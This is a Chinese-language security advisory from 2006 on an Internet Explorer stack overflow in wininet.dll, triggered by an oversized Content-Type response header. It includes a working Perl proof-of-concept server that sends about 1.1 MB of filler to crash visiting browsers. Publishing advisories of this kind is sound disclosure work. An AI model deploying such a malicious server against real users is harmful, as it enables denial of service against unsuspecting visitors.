| 2006-7-25
受影响系统:
Microsoft Internet Explorer 6.0 SP2 Microsoft Internet Explorer 6.0 SP1 Microsoft Internet Explorer 6.0 Microsoft Internet Explorer 5.5 Microsoft Internet Explorer 5.01 Microsoft Internet Explorer 5.0
描述: -------------------------------------------------------------------------------- BUGTRAQ ID: 19092
Microsoft Internet Explorer是微软发布的非常流行的WEB浏览器。
Microsoft Internet Explorer在处理服务器回应中超长的Content-Type字段时存在漏洞,远程恶意Web服务器可能利用此漏洞导致客户端IE崩溃。
如果用户受骗访问了恶意Web服务器上设置有特制Content-Type属性的WEB页面的话,就可能触发wininet.dll中的栈溢出,导致IE拒绝服务。
<*来源:Firestorm *>
测试方法: --------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#!/usr/bin/perl # Stack overflow in wininet.dll while parsing huge( > ~1M) Content-Type response # ex.: Unhandled exception at 0x771c00ee in IEXPLORE.EXE: 0xC00000FD: Stack overflow. # # discovered by Firestorm # # Usage: # 1) run this code # 2) open http://127.0.0.1/ with IE #
use IO::Socket; my $sock=new IO::Socket::INET (Listen => 1, LocalAddr => 'localhost', LocalPort => 80, Proto => 'tcp'); die unless $sock; $huge="A" x 1100000; $|=1; print ">http server started on port 80... try 'iexplore http://127.0.0.1/' \n"; $z=$sock->accept(); print ">connection!\n"; do { $ln=<$z>; print $ln; chomp $ln; if (($ln eq "")||($ln eq "\n")||($ln eq "\r")) { print ">sending response\n"; print $z "HTTP/1.1 200 OK\r\nServer: X3 1.0\r\nContent-Type: $huge\r\nConnection: close\r\n\r\ndone"; close($z); exit; } } while (true);
建议: -------------------------------------------------------------------------------- 厂商补丁:
Microsoft --------- 目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.microsoft.com/windows/ie/default.asp
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